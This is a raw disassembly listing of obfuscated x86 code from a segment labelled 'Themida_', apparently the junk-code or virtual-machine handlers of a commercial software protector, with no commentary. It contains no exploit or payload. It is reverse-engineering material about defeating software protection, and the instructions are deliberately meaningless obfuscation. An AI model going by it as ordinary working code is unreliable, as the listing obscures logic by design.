loc_5A327A: ; CODE XREF: Themida_:00599F30j
pop dword ptr [esp]
pop esp
mov ecx, [esp]
push edx
push 0A19h
mov [esp], esp
jmp loc_594629
; ---------------------------------------------------------------------------
loc_5A328F: ; CODE XREF: Themida_:00590FC1j
push ebx
mov ebx, 522A08ADh
jmp loc_5A2BE4
; ---------------------------------------------------------------------------
loc_5A329A: ; CODE XREF: Themida_:0059B195j
add esi, 2
xchg esi, [esp]
jmp loc_5979DB
; ---------------------------------------------------------------------------
loc_5A32A5: ; CODE XREF: Themida_:005925C1j
not edi
neg edi
and edi, 42C71AC5h
xor edi, 590B629Bh
add eax, edi
pop edi
sub esp, 4
mov [esp], edi
jmp loc_595EC0
; ---------------------------------------------------------------------------
loc_5A32C6: ; CODE XREF: Themida_:0059B3F7j
push edi
mov edi, 1AD53049h
push ebx
push ebp
mov ebp, 414612CFh
mov ebx, ebp
jmp loc_59EE5E
; ---------------------------------------------------------------------------
loc_5A32DA: ; CODE XREF: Themida_:005A5455j
add ebx, 26927A6h
add ebx, ecx
sub ebx, 26927A6h
mov ecx, [esp]
add esp, 4
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
mov ax, [esp]
push ebp
jmp loc_59FD9E
; ---------------------------------------------------------------------------
loc_5A3301: ; CODE XREF: Themida_:00599952j
mov edx, [esp]
add esp, 4
push ebx
push eax
mov eax, 61236E35h
xor eax, 3DBC7C4Ch
jmp loc_59315E
; ---------------------------------------------------------------------------
loc_5A331B: ; CODE XREF: Themida_:005A08E7j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
jmp loc_59959C
; ---------------------------------------------------------------------------
loc_5A332D: ; CODE XREF: Themida_:00595119j
push 5C7Ah
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_596014
; ---------------------------------------------------------------------------
loc_5A3342: ; CODE XREF: Themida_:005A25FDj
mov edx, esp
jmp loc_59D3C7
; ---------------------------------------------------------------------------
loc_5A3349: ; CODE XREF: Themida_:0059B0DFj
add esp, 4
xor ecx, edx
pop edx
add ebp, 75A05348h
jmp loc_59F6E9
; ---------------------------------------------------------------------------
loc_5A335A: ; CODE XREF: Themida_:005A15C8j
mov ecx, [eax]
mov eax, [esp]
add esp, 4
jmp loc_5A3F31
; ---------------------------------------------------------------------------
loc_5A3367: ; CODE XREF: Themida_:005A1409j
shl edx, 6
shr edx, 5
xor edx, 6884B933h
add edi, edx
pop edx
add edi, 78494723h
jmp loc_5A2BAB
; ---------------------------------------------------------------------------
loc_5A3381: ; CODE XREF: Themida_:0059F3A5j
pop esp
push dword ptr [esp]
jmp loc_5A37A1
; ---------------------------------------------------------------------------
loc_5A338A: ; CODE XREF: Themida_:005925B6j
push esi
mov esi, 305F736Eh
push 0FD5h
mov [esp], esi
push edi
mov edi, 78022554h
mov esi, 0C32C3841h
jmp loc_5A3DEA
; ---------------------------------------------------------------------------
loc_5A33A8: ; CODE XREF: Themida_:005910EFj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
push 0A74h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A1C46
; ---------------------------------------------------------------------------
loc_5A33CF: ; CODE XREF: Themida_:00592D96j
xor esi, [esp]
jmp loc_590591
; ---------------------------------------------------------------------------
loc_5A33D7: ; CODE XREF: Themida_:00597E03j
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push eax
push esp
pop eax
jmp loc_599DFD
; ---------------------------------------------------------------------------
loc_5A33E9: ; CODE XREF: Themida_:00596FEFj
pop ecx
push ecx
jmp loc_59075C
; ---------------------------------------------------------------------------
push 923h
mov [esp], eax
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
push 5768h
mov [esp], ecx
push 6EDA1428h
mov ecx, [esp]
add esp, 4
dec ecx
or ecx, 6EAA6237h
xor ecx, 6EFA7237h
jmp loc_596CE8
; ---------------------------------------------------------------------------
loc_5A3435: ; CODE XREF: Themida_:005A0CDFj
pop esp
push ecx
mov cl, 0D8h
jmp loc_596FDA
; ---------------------------------------------------------------------------
loc_5A343E: ; CODE XREF: Themida_:0059365Bj
add esp, 4
add ecx, eax
push dword ptr [esp]
jmp loc_59A5B8
; ---------------------------------------------------------------------------
loc_5A344E: ; CODE XREF: Themida_:00593FCCj
pop esp
jmp loc_59DEDD
; ---------------------------------------------------------------------------
loc_5A3454: ; CODE XREF: Themida_:005A4586j
mov ecx, 125C2D1Ah
not ecx
or ecx, 118C582Dh
jmp loc_5A39D2
; ---------------------------------------------------------------------------
loc_5A3466: ; CODE XREF: Themida_:00599113j
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A431D
; ---------------------------------------------------------------------------
loc_5A347A: ; CODE XREF: Themida_:005A5604j
push 5B03h
mov [esp], edi
jmp loc_5A23A7
; ---------------------------------------------------------------------------
loc_5A3487: ; CODE XREF: Themida_:00598626j
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_59753D
; ---------------------------------------------------------------------------
loc_5A34A9: ; CODE XREF: Themida_:0059AA82j
mov esi, 5E0E5B66h
mov ecx, esi
pop esi
jmp loc_59D03B
; ---------------------------------------------------------------------------
loc_5A34B6: ; CODE XREF: Themida_:005A5084j
pop esi
sub edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
jmp loc_59491E
; ---------------------------------------------------------------------------
loc_5A34C9: ; CODE XREF: Themida_:005A07D9j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov ax, [esp]
push esi
jmp loc_5A1980
; ---------------------------------------------------------------------------
loc_5A34DF: ; CODE XREF: Themida_:005A53A1j
or edi, 7C9F54F6h
xor edi, 6182925h
push ebp
mov ebp, 491D6813h
jmp loc_5A482B
; ---------------------------------------------------------------------------
loc_5A34F6: ; CODE XREF: Themida_:0059D3F2j
add ecx, ebx
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_5A3CB7
; ---------------------------------------------------------------------------
loc_5A350E: ; CODE XREF: Themida_:005A50FBj
push ecx
jmp loc_59226A
; ---------------------------------------------------------------------------
loc_5A3514: ; CODE XREF: Themida_:0059B5E5j
add ecx, 7C920ECBh
mov edi, [esp]
add esp, 4
and eax, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
or eax, eax
jz loc_59116C
push 0AFBh
mov [esp], ebx
mov ebx, 1Ch
push 49C9h
mov [esp], esi
mov esi, 0BFF2D59h
add esi, 524AFC9Ah
add ebx, esi
pop esi
jmp loc_59A1F4
; ---------------------------------------------------------------------------
loc_5A3568: ; CODE XREF: Themida_:005A5280j
add edx, 117C2C47h
shl edx, 6
add edx, 0F0CF92CFh
and eax, edx
pop edx
sub eax, 49DD2C0Ch
add eax, 3DE92B43h
jmp loc_5A2FB2
; ---------------------------------------------------------------------------
loc_5A3589: ; CODE XREF: Themida_:00595439j
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 548C4AE0h
not ebx
shl ebx, 4
xor ebx, 2B8A263Ah
sub ebx, 0F9F1D4FDh
sub edi, ebx
pop ebx
sub eax, 538E5BBFh
sub eax, edi
add eax, 538E5BBFh
jmp loc_59F557
; ---------------------------------------------------------------------------
loc_5A35BA: ; CODE XREF: Themida_:0059B727j
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 4
add esi, ebp
jmp loc_591BD4
; ---------------------------------------------------------------------------
loc_5A35CD: ; CODE XREF: Themida_:0059BDABj
add dl, 3Bh
add al, dl
pop edx
sub al, bl
jmp loc_599194
; ---------------------------------------------------------------------------
loc_5A35DA: ; CODE XREF: Themida_:005A3B04j
push esi
not dword ptr [esp]
pop esi
jmp loc_5954B2
; ---------------------------------------------------------------------------
loc_5A35E4: ; CODE XREF: Themida_:0059BB58j
push esi
push esp
pop esi
add esi, 4
push ebx
mov ebx, 4
sub esi, ebx
jmp loc_59AC32
; ---------------------------------------------------------------------------
loc_5A35FA: ; CODE XREF: Themida_:0059BE1Ej
xor ecx, ebp
pop ebp
dec ecx
sub ecx, 5789A167h
mov eax, ecx
jmp loc_594D82
; ---------------------------------------------------------------------------
loc_5A360B: ; CODE XREF: Themida_:005931C3j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add ebp, 4
push ebx
jmp loc_5911F0
; ---------------------------------------------------------------------------
loc_5A3627: ; CODE XREF: Themida_:0059DDDDj
push edx
mov dh, 7Fh
jmp loc_5A5467
; ---------------------------------------------------------------------------
loc_5A362F: ; CODE XREF: Themida_:00596CD5j
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], esi
push 40C7h
mov [esp], edi
jmp loc_5981C4
; ---------------------------------------------------------------------------
loc_5A364C: ; CODE XREF: Themida_:005964A3j
shl ebp, 4
xor ebp, 1E86721Bh
jmp loc_59E0AE
; ---------------------------------------------------------------------------
loc_5A365A: ; CODE XREF: Themida_:0059C334j
add esp, 4
inc eax
or eax, 34C36247h
shr eax, 6
sub eax, 1FB2DE9h
add edx, eax
pop eax
push edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_5A12CD
; ---------------------------------------------------------------------------
loc_5A367E: ; CODE XREF: Themida_:0059FA13j
push ebp
jmp loc_598E7E
; ---------------------------------------------------------------------------
loc_5A3684: ; CODE XREF: Themida_:005965ACj
add al, 5Ah
push dx
push eax
mov ah, 0B3h
push 88h
jmp loc_59228F
; ---------------------------------------------------------------------------
loc_5A3695: ; CODE XREF: Themida_:005961B3j
pop bx
and ch, 6
push dx
mov dl, 24h
add ch, dl
jmp loc_5950FD
; ---------------------------------------------------------------------------
loc_5A36A5: ; CODE XREF: Themida_:005A56F9j
push esp
pop dword ptr [esp]
jmp loc_5A531F
; ---------------------------------------------------------------------------
loc_5A36AE: ; CODE XREF: Themida_:005A56A0j
mov ah, bl
push ebx
mov bl, ah
jmp loc_59D1CD
; ---------------------------------------------------------------------------
loc_5A36B8: ; CODE XREF: Themida_:0059282Dj
pop ebp
sub edx, 1D7C481h
mov ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_59FE46
; ---------------------------------------------------------------------------
loc_5A36CC: ; CODE XREF: Themida_:00599D62j
pop ebx
xor edi, 760E10CCh
add eax, edi
pop edi
push edx
jmp loc_590E5E
; ---------------------------------------------------------------------------
loc_5A36DC: ; CODE XREF: Themida_:00599BD1j
push ecx
jmp loc_598C4B
; ---------------------------------------------------------------------------
loc_5A36E2: ; CODE XREF: Themida_:005909F8j
add esi, 0FFFFFFFFh
add esi, 0ACCA645Ch
xor ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_596080
; ---------------------------------------------------------------------------
loc_5A36FB: ; CODE XREF: Themida_:005935ACj
sub ebx, 0F436F78Ah
mov esi, ebx
jmp loc_597F8E
; ---------------------------------------------------------------------------
loc_5A3708: ; CODE XREF: Themida_:0059BAF3j
push 5B7Dh
mov [esp], eax
mov ah, dh
push ecx
mov cl, ah
mov bl, cl
mov ecx, [esp]
add esp, 4
pop eax
jmp loc_597C4C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_597B4B
; ---------------------------------------------------------------------------
loc_5A372F: ; CODE XREF: Themida_:0059750Bj
mov ebx, esp
add ebx, 4
push esi
push edi
mov edi, 50E92BA6h
push 1E95h
mov [esp], eax
jmp loc_5A39F5
; ---------------------------------------------------------------------------
loc_5A374B: ; CODE XREF: Themida_:005A25B4j
sub ecx, 250A5040h
add ecx, ebp
add ecx, 250A5040h
pop ebp
sub ecx, 2
jmp loc_5A400A
; ---------------------------------------------------------------------------
loc_5A3762: ; CODE XREF: Themida_:00598319j
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A1453
; ---------------------------------------------------------------------------
loc_5A3772: ; CODE XREF: Themida_:00594AC9j
pop edx
sub ch, 1
sub ch, 0FFh
sub ch, 0D9h
jmp loc_59F4D4
; ---------------------------------------------------------------------------
loc_5A3781: ; CODE XREF: Themida_:005942F7j
pop ebp
push ebx
mov ebx, 1D9C74EEh
push edi
mov edi, 62A205D1h
jmp loc_59F8AB
; ---------------------------------------------------------------------------
loc_5A3793: ; CODE XREF: Themida_:005A4E6Aj
mov ebp, [esp]
add esp, 4
jmp loc_593C8A
; ---------------------------------------------------------------------------
loc_5A37A1: ; CODE XREF: Themida_:005A3385j
pop ecx
push edi
push esp
pop edi
jmp loc_59B5EA
; ---------------------------------------------------------------------------
loc_5A37AA: ; CODE XREF: Themida_:00590875j
xchg al, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A37B2: ; CODE XREF: Themida_:0059F3D1j
mov bh, ah
mov cl, bh
pop ebx
mov ax, [esp]
add esp, 2
push ebx
jmp loc_5A5178
; ---------------------------------------------------------------------------
loc_5A37C4: ; CODE XREF: Themida_:005A2FB7j
add esp, 4
xchg ebp, [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A37D4: ; CODE XREF: Themida_:0059310Cj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_59AE5C
; ---------------------------------------------------------------------------
loc_5A37E2: ; CODE XREF: Themida_:0059E591j
push 59Ah
jmp loc_5A49B9
; ---------------------------------------------------------------------------
loc_5A37EC: ; CODE XREF: Themida_:005A2C90j
push dword ptr [esp]
pop ebx
jmp loc_5A3AC8
; ---------------------------------------------------------------------------
loc_5A37F5: ; CODE XREF: Themida_:005A0418j
add edx, 4
xchg edx, [esp]
pop esp
push esi
push 5BDBB359h
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
push ecx
jmp loc_598F57
; ---------------------------------------------------------------------------
loc_5A3815: ; CODE XREF: Themida_:0059C5B4j
pop esp
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A3871
; ---------------------------------------------------------------------------
loc_5A3821: ; CODE XREF: Themida_:00599035j
pop eax
push ebx
jmp loc_595F5F
; ---------------------------------------------------------------------------
loc_5A3828: ; CODE XREF: Themida_:00597760j
xchg ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_592FF1
; ---------------------------------------------------------------------------
loc_5A3834: ; CODE XREF: Themida_:0059F88Bj
xchg ebx, [esp]
jmp loc_5A5315
; ---------------------------------------------------------------------------
loc_5A383C: ; CODE XREF: Themida_:0059B46Cj
add esp, 4
add esp, 4
jmp loc_593639
; ---------------------------------------------------------------------------
loc_5A384A: ; CODE XREF: Themida_:005964DEj
mov ebp, [esp]
add esp, 4
jmp loc_597667
; ---------------------------------------------------------------------------
loc_5A3858: ; CODE XREF: Themida_:005920E5j
shr dl, 4
push ecx
mov cl, 81h
jmp loc_5A23EC
; ---------------------------------------------------------------------------
loc_5A3863: ; CODE XREF: Themida_:0059B326j
add ebp, esi
pop esi
add ebp, 5C692305h
jmp loc_59D526
; ---------------------------------------------------------------------------
loc_5A3871: ; CODE XREF: Themida_:005A381Cj
shr ecx, 0
or eax, eax
jz loc_59F5C1
push 9D1h
mov [esp], edx
sub esp, 4
mov [esp], ebx
push eax
mov eax, 1DB0403Ch
jmp loc_5A3CF1
; ---------------------------------------------------------------------------
loc_5A3895: ; CODE XREF: Themida_:005971B7j
add ecx, edx
mov edx, [esp]
add esp, 4
push ebp
sub esp, 4
mov [esp], ebx
mov ebx, 6F2331E5h
push edi
mov edi, 81015B3h
mov ebp, 77334794h
jmp loc_59EA5C
; ---------------------------------------------------------------------------
loc_5A38BC: ; CODE XREF: Themida_:005A0D5Cj
add edx, edi
sub edx, 1F4C19FDh
pop edi
jmp loc_59D2CA
; ---------------------------------------------------------------------------
loc_5A38CA: ; CODE XREF: Themida_:0059F452j
sub esp, 4
jmp loc_59CEE6
; ---------------------------------------------------------------------------
loc_5A38D5: ; CODE XREF: Themida_:0059BCCBj
sub esi, 338D2A3Bh
add esi, ebp
add esi, 338D2A3Bh
add esi, 671D3376h
pop ebp
push ebx
jmp loc_5A1F00
; ---------------------------------------------------------------------------
loc_5A38F0: ; CODE XREF: Themida_:005926C6j
add eax, ebp
pop ebp
xchg eax, [esp]
jmp loc_597D4C
; ---------------------------------------------------------------------------
loc_5A38FB: ; CODE XREF: Themida_:00591043j
xchg ebx, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
push esi
push edi
push esi
mov esi, 2B53396h
push esi
push 4F3527E2h
jmp loc_599A71
; ---------------------------------------------------------------------------
loc_5A3923: ; CODE XREF: Themida_:005999AEj
sub al, bh
jmp loc_59937A
; ---------------------------------------------------------------------------
loc_5A392A: ; CODE XREF: Themida_:00596506j
add eax, ebx
push ecx
mov ecx, 7D7B447Bh
push esi
mov esi, 3AC02032h
jmp loc_5A54F9
; ---------------------------------------------------------------------------
loc_5A393D: ; CODE XREF: Themida_:0059EF68j
add [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A3947: ; CODE XREF: Themida_:005A41AFj
xchg ebp, [esp]
pop esp
add ebp, 4
push esi
push ebp
jmp loc_5A285C
; ---------------------------------------------------------------------------
loc_5A3958: ; CODE XREF: Themida_:005945D7j
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebx
mov ebx, 4
add edx, ebx
jmp loc_594E5B
; ---------------------------------------------------------------------------
loc_5A3985: ; CODE XREF: Themida_:0059BC53j
push edx
mov edx, 3241308Ah
jmp loc_592C14
; ---------------------------------------------------------------------------
loc_5A3990: ; CODE XREF: Themida_:00598006j
pop edx
shr ebx, 4
jmp loc_5972B7
; ---------------------------------------------------------------------------
loc_5A3999: ; CODE XREF: Themida_:00594005j
add eax, 404E6E30h
add [eax], ebx
pop eax
pop edx
mov ebx, [esp]
add esp, 4
loc_5A39A8: ; CODE XREF: Themida_:005A3BFFj
push ebx
mov eax, [esp]
push 7B6Eh
jmp loc_594684
; ---------------------------------------------------------------------------
loc_5A39B6: ; CODE XREF: Themida_:0059C549j
push ecx
mov ecx, esp
push edx
jmp loc_59611E
; ---------------------------------------------------------------------------
loc_5A39BF: ; CODE XREF: Themida_:005A0771j
add edi, 5A3A4EE7h
push edi
sub dword ptr [esp], 66982126h
jmp loc_59744E
; ---------------------------------------------------------------------------
loc_5A39D2: ; CODE XREF: Themida_:005A3461j
sub ecx, 7EA02271h
xor ecx, 43A0A9DDh
jmp loc_593641
; ---------------------------------------------------------------------------
loc_5A39E3: ; CODE XREF: Themida_:00594B93j
mov edx, 4AAD30A2h
add dword ptr [esp+8], 66C911A1h
jmp loc_5A1060
; ---------------------------------------------------------------------------
loc_5A39F5: ; CODE XREF: Themida_:005A3746j
mov eax, edi
push eax
xor dword ptr [esp], 73B503F6h
jmp loc_5A3C90
; ---------------------------------------------------------------------------
loc_5A3A04: ; CODE XREF: Themida_:00590D88j
not esi
xchg esi, [esp]
mov ebx, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_594BB6
; ---------------------------------------------------------------------------
loc_5A3A23: ; CODE XREF: Themida_:0059A477j
mov edx, eax
jmp loc_5A214B
; ---------------------------------------------------------------------------
loc_5A3A2A: ; CODE XREF: Themida_:00597CD8j
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59A068
; ---------------------------------------------------------------------------
loc_5A3A47: ; CODE XREF: Themida_:005A0DDCj
add eax, ebp
pop ebp
sub eax, ebx
sub eax, 2F4C4F50h
push 3C1Fh
mov [esp], edi
jmp loc_59E4C2
; ---------------------------------------------------------------------------
loc_5A3A5E: ; CODE XREF: Themida_:00597F1Fj
neg bl
jmp loc_59F79C
; ---------------------------------------------------------------------------
loc_5A3A65: ; CODE XREF: Themida_:00595D94j
mov ecx, esp
add ecx, 4
jmp loc_59D9FE
; ---------------------------------------------------------------------------
loc_5A3A72: ; CODE XREF: Themida_:005953B2j
mov [esp], ecx
mov ecx, 10E03E64h
jmp loc_595F4C
; ---------------------------------------------------------------------------
loc_5A3A7F: ; CODE XREF: Themida_:005981A2j
add esp, 2
push edx
mov dl, 0EDh
add al, dl
pop edx
push dword ptr [esp]
pop edx
add esp, 4
push dx
mov dh, 87h
inc dh
sub dh, 0F1h
xor dh, 6Ah
add bl, 6Dh
sub bl, dh
sub bl, 6Dh
mov dx, [esp]
add esp, 2
sub bl, 4Ch
sub bl, al
jmp loc_59D020
; ---------------------------------------------------------------------------
loc_5A3ABA: ; CODE XREF: Themida_:0059C734j
sub esp, 4
mov [esp], ebx
jmp loc_59111C
; ---------------------------------------------------------------------------
loc_5A3AC8: ; CODE XREF: Themida_:005A37F0j
push 5ED0h
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_593FE3
; ---------------------------------------------------------------------------
loc_5A3AEC: ; CODE XREF: Themida_:005A4033j
not edx
inc edx
xor edx, 76485065h
sub edx, 60B39C52h
sub eax, edx
pop edx
jmp loc_598D48
; ---------------------------------------------------------------------------
loc_5A3B03: ; CODE XREF: Themida_:0059A749j
inc esi
jmp loc_5A35DA
; ---------------------------------------------------------------------------
loc_5A3B09: ; CODE XREF: Themida_:0059381Cj
push ebx
mov bl, 0F7h
push bx
sub byte ptr [esp], 1
jmp loc_590CA7
; ---------------------------------------------------------------------------
loc_5A3B17: ; CODE XREF: Themida_:00593BC8j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
movsx ecx, al
jmp loc_5A205E
; ---------------------------------------------------------------------------
loc_5A3B2B: ; CODE XREF: Themida_:005A3DA4j
pop ebp
add ebp, 4
jmp loc_594FF2
; ---------------------------------------------------------------------------
loc_5A3B37: ; CODE XREF: Themida_:005923A7j
add esp, 4
push 6994h
mov [esp], ebx
push 6448h
jmp loc_59AFB4
; ---------------------------------------------------------------------------
loc_5A3B4C: ; CODE XREF: Themida_:0059E0F6j
mov esi, esp
push ebx
mov ebx, 4
add esi, ebx
jmp loc_59831E
; ---------------------------------------------------------------------------
loc_5A3B5B: ; CODE XREF: Themida_:005A4562j
xchg esi, [esp]
pop esp
mov [esp], ebp
push 21C9h
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
mov ecx, 5C245F3Ah
push edi
mov edi, 66DA0089h
sub edi, 463B9308h
sub ecx, edi
jmp loc_595D02
; ---------------------------------------------------------------------------
loc_5A3B88: ; CODE XREF: Themida_:00598CA7j
add dword ptr [esp], 4
pop edx
push ebp
mov ebp, 893031Ah
jmp loc_594E0B
; ---------------------------------------------------------------------------
loc_5A3B9B: ; CODE XREF: Themida_:0059FECAj
pop edx
xchg ebx, [esp]
pop esp
push esi
push edi
jmp loc_5A1CFA
; ---------------------------------------------------------------------------
loc_5A3BA7: ; CODE XREF: Themida_:005A56EBj
add esi, 4
xchg esi, [esp]
pop esp
push 5135h
mov [esp], ebp
jmp loc_5A25AF
; ---------------------------------------------------------------------------
loc_5A3BBB: ; CODE XREF: Themida_:0059A106j
add dh, 1Eh
add bl, dh
pop edx
mov edx, [esp]
jmp loc_5A2273
; ---------------------------------------------------------------------------
loc_5A3BC9: ; CODE XREF: Themida_:0059DF21j
push edi
mov edi, 47C57331h
and edi, 29D679FAh
add edi, 0F5A0EBFh
inc edi
neg edi
not edi
jmp loc_5A1B02
; ---------------------------------------------------------------------------
loc_5A3BE5: ; CODE XREF: Themida_:0059F17Bj
add esp, 4
xor [esp+4], ebx
jmp loc_59FC11
; ---------------------------------------------------------------------------
loc_5A3BF4: ; CODE XREF: Themida_:00593A65j
add esp, 4
add esp, 4
or eax, eax
jz loc_5A39A8
push 6B52h
jmp loc_594F75
; ---------------------------------------------------------------------------
loc_5A3C0F: ; CODE XREF: Themida_:005A2EEFj
push ebp
mov ebp, 41A13446h
inc ebp
add ebp, 5CEC37D2h
sub ebp, 55E85177h
sub ebx, ebp
jmp loc_59F3B7
; ---------------------------------------------------------------------------
loc_5A3C29: ; CODE XREF: Themida_:005941E5j
push dword ptr [esp]
jmp loc_595D08
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A3C3B: ; CODE XREF: Themida_:005A0112j
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_594AE2
; ---------------------------------------------------------------------------
loc_5A3C4E: ; CODE XREF: Themida_:0059D8C8j
sub ebp, 2
jmp loc_59EEAC
; ---------------------------------------------------------------------------
loc_5A3C56: ; CODE XREF: Themida_:0059AA5Bj
pop ebx
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push ecx
push eax
push edi
jmp loc_5990E2
; ---------------------------------------------------------------------------
loc_5A3C7B: ; CODE XREF: Themida_:0059847Fj
pop ecx
jmp loc_59178C
; ---------------------------------------------------------------------------
loc_5A3C81: ; CODE XREF: Themida_:0059A6ABj
mov [esp], eax
jmp loc_599D81
; ---------------------------------------------------------------------------
loc_5A3C89: ; CODE XREF: Themida_:0059697Bj
xor ebx, edi
jmp loc_5947AC
; ---------------------------------------------------------------------------
loc_5A3C90: ; CODE XREF: Themida_:005A39FFj
pop esi
xor esi, 73B503F6h
pop eax
jmp loc_5A0349
; ---------------------------------------------------------------------------
loc_5A3C9D: ; CODE XREF: Themida_:00596A57j
mov ecx, edi
jmp loc_59C1CE
; ---------------------------------------------------------------------------
loc_5A3CA4: ; CODE XREF: Themida_:0059418Aj
mov ch, bh
jmp loc_597253
; ---------------------------------------------------------------------------
loc_5A3CAB: ; CODE XREF: Themida_:005972D6j
pop ebp
xor ebp, 50473A0Fh
jmp loc_5A2A4D
; ---------------------------------------------------------------------------
loc_5A3CB7: ; CODE XREF: Themida_:005A3509j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A3CBC: ; CODE XREF: Themida_:00590FD9j
pop ecx
jmp loc_59C86C
; ---------------------------------------------------------------------------
loc_5A3CC2: ; CODE XREF: Themida_:005A2D6Cj
pop ecx
jmp loc_594641
; ---------------------------------------------------------------------------
loc_5A3CC8: ; CODE XREF: Themida_:00598081j
add dword ptr [esp], 4
pop eax
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5925C6
; ---------------------------------------------------------------------------
loc_5A3CF1: ; CODE XREF: Themida_:005A3890j
sub [esp+4], eax
pop eax
mov edx, [esp]
add esp, 4
push esi
mov esi, 4FDB1CD3h
sub esp, 4
mov [esp], edi
mov edi, 753D35D1h
sub edi, 5CB4395Bh
inc edi
not edi
add edi, 1
shr edi, 3
xor edi, 698C5E72h
add edi, 0DDD89AADh
push ebp
push ebx
mov ebx, 16968E3h
jmp loc_5949CA
; ---------------------------------------------------------------------------
loc_5A3D3A: ; CODE XREF: Themida_:00598AC0j
mov edx, 6CEA25E8h
shr edx, 3
not edx
shl edx, 1
and edx, 2151550Eh
xor edx, 189B5B71h
push ecx
mov ecx, 5F155150h
xor edx, ecx
pop ecx
add ebx, edx
pop edx
xor ebx, 854FB103h
jmp loc_59EF82
; ---------------------------------------------------------------------------
loc_5A3D69: ; CODE XREF: Themida_:0059204Cj
and ebp, ecx
pop ecx
xor ebp, 4287F3Eh
sub ebp, 95C34050h
sub esp, 4
mov [esp], eax
jmp loc_593EC4
; ---------------------------------------------------------------------------
loc_5A3D83: ; CODE XREF: Themida_:005A0218j
sub ebp, ecx
pop ecx
add eax, 38F0F90h
push esi
mov esi, 6D2D0FEFh
jmp loc_59E1FA
; ---------------------------------------------------------------------------
loc_5A3D96: ; CODE XREF: Themida_:00599CCFj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], ebp
push esp
jmp loc_5A3B2B
; ---------------------------------------------------------------------------
loc_5A3DA9: ; CODE XREF: Themida_:00592C04j
mov [esp], edx
push esp
pop edx
add edx, 4
push edi
jmp loc_5A27AF
; ---------------------------------------------------------------------------
loc_5A3DBA: ; CODE XREF: Themida_:005A0F55j
mov edi, 4
add [esp+4], edi
mov edi, [esp]
add esp, 4
mov ebx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_59A29A
; ---------------------------------------------------------------------------
loc_5A3DEA: ; CODE XREF: Themida_:005A33A3j
sub esi, edi
pop edi
sub eax, esi
pop esi
push edi
mov edi, 23B43336h
dec edi
shl edi, 4
jmp loc_5906D4
; ---------------------------------------------------------------------------
loc_5A3DFF: ; CODE XREF: Themida_:00595B70j
mov esp, [esp]
jmp loc_5A1E84
; ---------------------------------------------------------------------------
loc_5A3E07: ; CODE XREF: Themida_:005A1123j
sub esp, 4
mov [esp], ebp
push edx
mov edx, 11DC27A2h
inc edx
and edx, 0E4F4466h
jmp loc_5A4F2D
; ---------------------------------------------------------------------------
loc_5A3E22: ; CODE XREF: Themida_:00592FC0j
add esi, edx
pop edx
push ebp
jmp loc_5A40F4
; ---------------------------------------------------------------------------
loc_5A3E2B: ; CODE XREF: Themida_:00595C16j
add edx, 4
jmp loc_59C4E6
; ---------------------------------------------------------------------------
loc_5A3E36: ; CODE XREF: Themida_:00598B53j
sub eax, ebp
pop ebp
push dword ptr [esp]
push dword ptr [esp]
pop esi
jmp loc_5A4F46
